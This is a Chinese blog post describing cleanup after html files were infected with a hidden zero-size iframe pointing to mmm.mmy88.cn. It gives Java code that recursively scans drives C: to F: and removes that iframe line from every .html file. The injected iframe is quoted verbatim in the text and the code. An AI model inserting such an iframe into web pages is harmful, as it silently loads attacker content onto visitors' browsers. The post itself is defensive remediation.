递归删除文件内容

今天突然发现, 很多 html 文件的末尾多了一行,
<iframe width='0' height='0' src='http://mmm.mmy88.cn/lx.htm'></iframe>


不知道什么时候中的招,很久没有写有关IO方面的代码, 今天顺便温习一下, 用Java 写段代码删掉它.


public class FileUtils {
public static void main(String[] args) throws Exception {
String content = "<iframe width='0' height='0' src='http://mmm.mmy88.cn/lx.htm'></iframe>";
String extName = ".html";

String[] dirs = { "C:", "D:", "E:", "F:" };
for (int i = 0; i < dirs.length; i++) {
String dir = dirs[i];
long t1 = System.currentTimeMillis();
delContent(content, dir, extName);
long time = System.currentTimeMillis() - t1;
System.out.printf("Process directory %s in %d seconds\n", dir, time / 1000);
}
}

/**
* Del content in all the files(.extName) under the specified directory
*
* @param extName like ".html"
*/
public static void delContent(String content, String dir, String extName) throws Exception {
List<String> fileNames = listFileNames(dir, extName);
//System.out.println("Modifying...");

for (int i = 0; i < fileNames.size(); i++) {
String fileName = fileNames.get(i);
//System.out.printf("%5d Modifying file: %s\n", i, fileName);

//Read
File f = new File(fileName);
BufferedInputStream bin = new BufferedInputStream(new FileInputStream(f));
byte[] buff = new byte[((int) f.length())];
bin.read(buff);
bin.close();
String str = new String(buff, "utf-8");
String[] all = str.split("\r\n");

//Write
OutputStream fout = new FileOutputStream(f);
for (int j = 0; j < all.length; j++) {
all[j] = all[j].replaceAll(content, "");
fout.write((all[j] + "\r\n").getBytes("utf-8"));
}
fout.flush();
fout.close();
}
}

/**
* List all file(.extName) name in the path
*
* @param extName like ".html"
*/
public static List<String> listFileNames(final String path, final String extName) {
List<String> fileNames = new ArrayList<String>();

FilenameFilter filter = new FilenameFilter() {
public boolean accept(File dir, String name) {
File file = new File(dir, name);
return name.endsWith(extName) || file.isDirectory();
}
};

File dir = new File(path);
listFileNames(dir, filter, fileNames);

return fileNames;
}

private static void listFileNames(File dir, FilenameFilter filter, List<String> fileNames) {
String[] names = dir.list(filter);
for (String s : names) {
String fileName = dir.getPath() + File.separator + s;
File file = new File(fileName);

if (file.isDirectory())
listFileNames(file, filter, fileNames);
else
fileNames.add(fileName);
}
}
}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值